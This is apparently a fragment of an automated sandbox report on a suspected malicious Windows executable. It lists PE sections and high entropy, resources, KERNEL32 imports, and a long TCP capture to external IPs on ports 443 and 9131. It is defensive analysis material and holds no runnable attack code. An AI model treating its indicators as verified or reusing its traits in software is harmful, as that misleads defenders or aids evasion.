mov eax, dword ptr [00411008h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [00000050h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xfb04	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x44a000	0x9928	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1140	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x100	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf0ca	0xf200	False	0.7380391270661157	data	7.337350654748941	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x11000	0x438d7c	0x3a00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x44a000	0x9928	0x9a00	False	0.5094612418831169	data	4.909716761836486	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x450f60	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0	English	United States
RT_CURSOR	0x451290	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	English	United States
RT_CURSOR	0x4513c0	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0	English	United States
RT_CURSOR	0x4514a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States
RT_CURSOR	0x452348	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States
RT_CURSOR	0x452c18	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"	English	United States
RT_ICON	0x44a5a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States
RT_ICON	0x44b448	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States
RT_ICON	0x44bcf0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States
RT_ICON	0x44c3b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States
RT_ICON	0x44c920	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States
RT_ICON	0x44eec8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States
RT_ICON	0x44ff70	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	English	United States
RT_ICON	0x4508f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States
RT_DIALOG	0x450e90	0x64	data	English	United States
RT_DIALOG	0x450ef8	0x64	data	English	United States
RT_STRING	0x452f18	0x478	data	English	United States
RT_STRING	0x453390	0x288	data	English	United States
RT_STRING	0x453618	0x30c	data	English	United States
RT_ACCELERATOR	0x450dd8	0xb8	data	English	United States
RT_GROUP_CURSOR	0x451470	0x30	data	English	United States
RT_GROUP_CURSOR	0x452bf0	0x22	data	English	United States
RT_GROUP_CURSOR	0x452d50	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_ICON	0x450d60	0x76	data	English	United States
RT_VERSION	0x452d68	0x1ac	data	English	United States

Imports

DLL

Import

KERNEL32.dll

WriteFile, GetDriveTypeA, Sleep, lstrlenW, LCMapStringA, GetTickCount, GetProcAddress, GetPrivateProfileSectionA, VirtualProtect, GetConsoleCursorInfo, GetCurrentProcessId, GetModuleHandleW, InterlockedIncrement, GetProcessIoCounters, GetLocaleInfoA, GetStartupInfoW, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, ExitProcess, GetStdHandle, GetModuleFileNameA, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, DeleteCriticalSection, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, GetLastError, InterlockedDecrement, HeapCreate, VirtualFree, HeapFree, QueryPerformanceCounter, GetSystemTimeAsFileTime, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, LeaveCriticalSection, EnterCriticalSection, LoadLibraryA, InitializeCriticalSectionAndSpinCount, HeapAlloc, VirtualAlloc, HeapReAlloc, RtlUnwind, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, HeapSize

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 9, 2023 00:59:56.638425112 CET	49699	443	192.168.2.5	64.185.227.155
Feb 9, 2023 00:59:56.638498068 CET	443	49699	64.185.227.155	192.168.2.5
Feb 9, 2023 00:59:56.638593912 CET	49699	443	192.168.2.5	64.185.227.155
Feb 9, 2023 00:59:56.639707088 CET	49699	443	192.168.2.5	64.185.227.155
Feb 9, 2023 00:59:56.639751911 CET	443	49699	64.185.227.155	192.168.2.5
Feb 9, 2023 00:59:57.123645067 CET	443	49699	64.185.227.155	192.168.2.5
Feb 9, 2023 00:59:57.123771906 CET	49699	443	192.168.2.5	64.185.227.155
Feb 9, 2023 00:59:57.128288031 CET	49699	443	192.168.2.5	64.185.227.155
Feb 9, 2023 00:59:57.128319025 CET	443	49699	64.185.227.155	192.168.2.5
Feb 9, 2023 00:59:57.128932953 CET	443	49699	64.185.227.155	192.168.2.5
Feb 9, 2023 00:59:57.140402079 CET	49699	443	192.168.2.5	64.185.227.155
Feb 9, 2023 00:59:57.140454054 CET	443	49699	64.185.227.155	192.168.2.5
Feb 9, 2023 00:59:57.448452950 CET	443	49699	64.185.227.155	192.168.2.5
Feb 9, 2023 00:59:57.448565960 CET	443	49699	64.185.227.155	192.168.2.5
Feb 9, 2023 00:59:57.448642015 CET	49699	443	192.168.2.5	64.185.227.155
Feb 9, 2023 00:59:57.462213993 CET	49699	443	192.168.2.5	64.185.227.155
Feb 9, 2023 00:59:57.462255001 CET	443	49699	64.185.227.155	192.168.2.5
Feb 9, 2023 00:59:57.477998972 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.578886032 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.579145908 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.579632044 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.680644035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.680700064 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.680738926 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.680764914 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.680790901 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.680800915 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.680833101 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.680844069 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.680859089 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.680881977 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.680907965 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.680907965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.680934906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.680947065 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.680959940 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.680998087 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.782321930 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782409906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782442093 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782471895 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782480955 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.782500982 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782517910 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.782550097 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782582998 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782610893 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.782632113 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782670975 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.782674074 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782717943 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782746077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782759905 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.782773972 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782802105 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782821894 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.782859087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782887936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782903910 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.782916069 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782943010 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.782962084 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.782972097 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.783001900 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.783010960 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.783032894 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.783071041 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.884882927 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.884932041 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.884957075 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.884979963 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885001898 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885025024 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885046005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885078907 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885078907 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885135889 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885176897 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885185003 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885226965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885257006 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885276079 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885384083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885426044 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885452032 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885457039 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885473013 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885493040 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885509014 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885524035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885535955 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885564089 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885585070 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885607958 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885610104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885632038 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885653019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885652065 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885678053 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885693073 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885710955 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885734081 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885756016 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885792971 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885819912 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885864019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885869980 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885898113 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885911942 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885922909 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885945082 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885967016 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.885978937 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.885991096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.886012077 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.886029005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.886049986 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.886070013 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.886137962 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.886168957 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.886184931 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.886193037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.886234045 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.886253119 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.886277914 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.886320114 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.987468958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987519979 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987560034 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987586975 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987610102 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987632990 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987672091 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987695932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987751007 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.987771034 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987781048 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.987842083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987900019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987907887 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.987961054 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.987993956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988023996 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.988075018 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988106966 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988141060 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.988162994 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988234043 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988239050 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.988279104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988317966 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988347054 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.988394976 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988425970 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988451958 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.988467932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988503933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988533020 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.988589048 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988637924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988655090 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.988698959 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988730907 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988763094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988765001 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.988820076 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.988826036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988883018 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988913059 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.988940001 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.988970995 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989002943 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989033937 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.989068031 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989115953 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989128113 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.989198923 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989243984 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989263058 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.989289999 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989322901 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989351988 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989368916 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.989396095 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989419937 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.989439964 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989476919 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989511013 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989516020 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.989552975 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989581108 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.989595890 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989634037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989660025 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.989677906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989715099 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989751101 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:57.989754915 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:57.989820004 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.090516090 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.090564966 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.090591908 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.090616941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.090667009 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.090723038 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.090754986 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.090774059 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.090805054 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.090833902 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.090837002 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.090871096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.090883017 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.090903997 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.090939045 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.090954065 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.090971947 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091005087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091016054 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.091038942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091094971 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091118097 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.091166019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091228962 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.091455936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091571093 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091640949 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.091665983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091747046 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091785908 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091809988 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.091861963 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091893911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091912031 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.091926098 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.091969013 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.091972113 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092021942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092051029 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092072964 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092088938 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092139959 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092158079 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092200041 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092232943 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092252016 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092264891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092297077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092320919 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092330933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092361927 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092376947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092396021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092432976 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092438936 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092464924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092495918 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092519999 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092529058 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092572927 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092586040 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092600107 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092628956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092643976 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092657089 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092684984 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092705965 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092713118 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092740059 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.092762947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.092767954 CET	9131	49700	128.31.0.39	192.168.2.5
